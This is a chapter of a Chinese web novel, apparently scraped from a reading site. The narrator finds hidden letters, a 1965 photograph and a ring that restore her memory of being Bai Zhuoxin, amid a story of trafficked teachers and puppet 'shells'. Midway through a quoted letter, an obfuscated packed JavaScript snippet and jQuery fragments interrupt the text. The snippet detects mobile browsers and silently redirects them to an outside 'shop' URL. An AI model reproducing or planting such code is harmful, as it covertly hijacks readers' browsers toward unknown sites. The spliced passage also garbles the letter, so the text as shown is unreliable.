谣言便像那初春的瘟疫，悄无声息地漫开，黏稠地附着在村子的每一处角落。


    他们都说许媛回家后就疯了，白日里对着空气呢喃，深夜会忽然坐起，盯着漆黑的房梁傻笑。


    他们还说，这疯病是在我这宅院里得的，是因为向我求子，沾了不干净的东西，或者，干脆就是我用了什么邪法，夺了她一部分的魂魄。


    我闭门不出，院墙虽能隔开窥探的目光，却拦不住那些窃窃私语。


    我偶尔会在院子里站很久，听着外面过路的闲言碎语，有时候直到日头偏西，才转身回屋。


    尽管仙姑的名声日渐臭了，但拖延时间的目的却达到了。纸人许媛本就是缓兵之计，她永远都不会怀子，那张年轻的脸也坚持不了多久，很快几年光阴就会变老变皱。


    村子里的人发现异常是早晚的事，此刻只希望真的许媛能找到生路，尽快逃出去。


    只要假的这位日日癔症，张家人便不会再对她报以任何的期待，也不会再去想以后有关于她的打算。


    可这终究不是长久之计，哪怕已经2010年，村子里还是会发生这样拐卖姑娘的事情。还有一位，尽管白濯心的记忆里搜寻不到，可我记得她同许媛一样是支教的老师，叫陈茗。


    可是，后来发现她们的时候，二人皆已快速苍老。经历了白濯心的记忆，我开始变得恍惚，她们究竟是因为换壳变老，还是因为本就是做得逼真的纸人，才会在短暂的时间里迅速衰老。


    我活在这个吃人的村子里，抗争了几十年。曾是姑娘们的希望，也曾斩断过村人的这些恶念，以为大族老他们回来后会迷途知返，也曾将张天永这小孩视如己出……


    可人心的贪婪，有时候会伪装的很善良，有时候却在须臾间变得特别凉薄。许多记忆，在这段时间断断续续，折磨着我的情绪。


    我想起来了些片段，张天永很小的时候我便记得他。他总像小尾巴似的跟在我和朱阿绣的身边。


    后来隔了十五年，我容颜又恢复成了年轻，我俩年岁相仿，他却仍然会毫不吝啬地唤我姨。我以为他同大族老那辈人不同，所做的事情都是为了村子好。毕竟，他曾带着共荣的兴盛愿景找到了我。


    然而，面对如今的光景，一切全变了。朱阿绣变得特别陌生，张天永亦不复从前。姑娘们的失踪，我怀疑大差不差应该同他们有关，我不能再坐以待毙。


    但在这浑记忆里，我应该还有重要的人或事没想起。


    我，按照记忆的驱使不由自主地走回自己的卧室，走向被窗外月光刚好洒落的梳妆台前。


    我的目光正巧落在这张老式的梳妆台上。从前，我只当它是道旧物，是奶奶白濯心生前使用过的古董。可在这里一切都不同了，它本就属于我，或许还承载着不一样的回忆。


    我弯腰拉开了第一个抽屉，里面空空如也。


    随之，又拉开了第二个、第三个……都是空的。


    我皱起眉，这不太合常理。一定是记忆里还有什么没浮现，这里应该会留下些什么。


    这张梳妆台是老式的三屉桌，桌腿雕着缠枝莲纹。我随手拾起桌上的手电筒，勉强地蹲下身，仔细照看桌腿与地面的接缝处。


    意外的发现，在左侧第二条桌腿下，有一小块地砖的颜色略微不同，不是陈旧的程度不同，而是材质本身有细微差异。


    我用力推了推桌腿，它却纹丝不动。又试着顺时针旋转，还是不动。当我再次试着逆时针旋转时，桌腿发出轻微的“咔”声，向下沉了半寸。


    从梳妆台后方的墙壁上传来齿轮转动的轻响，一块墙板缓缓向外翻开，露出一个隐藏在墙体内的暗格。


    暗格不大，约莫一尺见方。里面整齐地码放着一叠书信、几本线装册子，还有一个小小的锦盒。


    我取出锦盒，再打开，里面是一张老照片。


    黑白的老照片已经严重褪色，边缘卷曲，但影像还算清晰。照片上是一对年轻的男女，并肩站在老宅的槐树下。槐树正花开，串串坠在枝头。


    女子眉眼温柔，穿着素色旗袍，手里捧着白色雏菊，正是年轻时的白濯心，是档案袋合照里杵着白色骨杖的我，也是同朱阿绣并肩坐在竹榻留影的我。


    我微微侧头，望着身旁的男子，嘴角噙着一丝羞涩的笑意。


    而那男子……


    他穿着旧式的西装，头发梳得整齐，面容俊朗，笑容明朗。


    我的呼吸停滞了一瞬。


    这张脸……我最熟悉不过。


    他是张陌然。


    即便这张黑白照片或许隔了数十年的光阴，但那五官，那神态……与张陌然几乎一模一样。不，不是几乎，他们根本就是同一个人。


    我持着照片的手开始发抖，不知是自己的本能反应，还是白濯心记忆里拾起这张照片时心绪的起伏。但不管是什么，我都很确定，我很爱他，无论是以哪种身份。


    我颤抖着翻过照片，背面用钢笔写着娟秀的字迹：泰德与濯心，摄于1965年，槐花开时。


    泰德……莫非是张泰德？这名字我听过，也很耳熟，是张陌然的爷爷。


    一切突然说得通，却也说不通。尽管他们之间可能存在血缘关系，但照片上的人，确确实实就是张陌然的模样。


    哪怕他们是爷孙的关系，在这个世界上，也很少能有长得一模一样的两个人。


    我难以置信地放下照片，继而将注意力望向了暗格里那叠书信。或许在这些信纸里，能找到缺失的记忆线索。


    许多信纸已经泛黄脆化，有张泰德写给我的，也有我写了未寄出去的。我小心翼翼地展开最上面一封，字迹与照片背面的一致，是我的笔迹。


    “泰德吾爱：见字如面。


    距上一回见，已三月有余。家中诸事尚安，唯念君甚。


    近日天永和阿绣行迹愈发可疑，他们常深夜外出，归来时衣襟沾露，神色惶惶。我问阿绣去了何处，她只道是去后山采药，然竹篮空空，何来药材？


    前几日天永忽问我，阿绣所习之术，他也想见识。我却再次婉拒，他是大族老的后人，不必学傀术自保。两派相安即可，若是失衡，恐有大难。


    但泰德，近日我有些怕了。天永和阿绣待我虽好，然所言所行，渐失常理。我偷听过一次，他们躲在屋内在说‘时辰快到了’、‘壳已备好’之类触犯禁忌的话语。


    我常与你道阿绣身世可怜，需多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204261|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    照拂。可如今……泰德，我不知该如何是好。望你早日归乡，有你在，我心方安。


    盼复。


    濯心2004年9月”


    信到此戛然而止，而这封内容，我最终没有寄出。


    我继续往下翻，多是寄往张泰德的思念与忧心，其间对朱阿绣与张天永的疑虑日益加深。


    “泰德：


    阿绣带回的那个男孩，约莫十岁，名唤‘张信’。十年前她说这是她在村外捡的孤儿，见可怜便收养了。可我观那孩子，十年容颜未变，眼神呆滞，行动迟缓，不似寻常孩童。夜间我起夜，见阿绣房内灯火未熄，窥见她在孩子额前画符，口中念念有词。


    我恐极，欲阻止，她却又像从前解释：‘白小姐，我不得已而为，你若阻了，张信就不在了。’


    泰德，阿绣她……她已非从前那人。


    濯心2005年9月”


    信写到这里，纸上有几处水渍晕开的痕迹，像是泪滴。


    我放下信，背脊一阵发寒。


    我翻开了一封封的信件，最后将信纸和照片放回暗格。


    就在我准备合上暗格时，手电筒的光束扫过暗格深处，照亮了角落里一个不起眼的小物件。


    那是一枚戒指。


    银质的，样式朴素，戒面镶嵌着一小块青玉。玉的成色并不好，里面有絮状杂质，雕工也粗糙，刻着一朵简化的菊花。


    我将戒指捡起，对着光仔细看。


    戒指内圈刻着两个极小的字：“泰心”。


    泰德与濯心。


    这枚戒指，是定情信物。可它却与张陌然送我的求婚戒指很像，像到连做工，镶嵌的青玉都是一样的。只是没有内圈这两个字……


    我握着戒指，攥着冰凉的温度。不知道为何，莫名的悲伤汹涌澎湃，搅动着陈年的痛楚。


    身子突然变得很沉，也很累，累到骨头都在发疼，累到想就这样睡过去，永远不要醒来。


    眼前的景象开始模糊，朱阿绣、张天永、张泰德、甚至是陆沉，所有人的脸都融化成一片浑浊的光影。


    我听见有人在叫我，声音很遥远。


    “要醒了吗？”


    “快，扶住她！”


    意识彻底沉入黑暗之前，我最后看见的，是张天永那双深不见底的眼睛。


    再睁眼时，我发现自己躺在床上。窗外天光大亮，张天永和陆沉站在床边，一动不动地看着我。


    他们的表情很奇怪，像是在审视什么，又像是在确认什么。


    张天永先开口：“你醒了。”


    我眼盯着他那张衰老的面容没应声，只是看着他。


    他走近一步，弯腰俯身，盯着我的眼睛：“你想起来自己是谁了吗？”


    这个问题，就像一把钥匙，打开了最后一道锁。


    所有的记忆，所有的过往，所有的痛苦和孤独，都在这一刻清晰起来。


    我是白濯心。


    是与朱阿绣义结金兰的白濯心。


    是将张天永视若亲子的白濯心。


    是与张泰德相识相恋的白濯心。


    我迎上他浑浊的目光，轻声反问：“你觉得……我应该是谁？”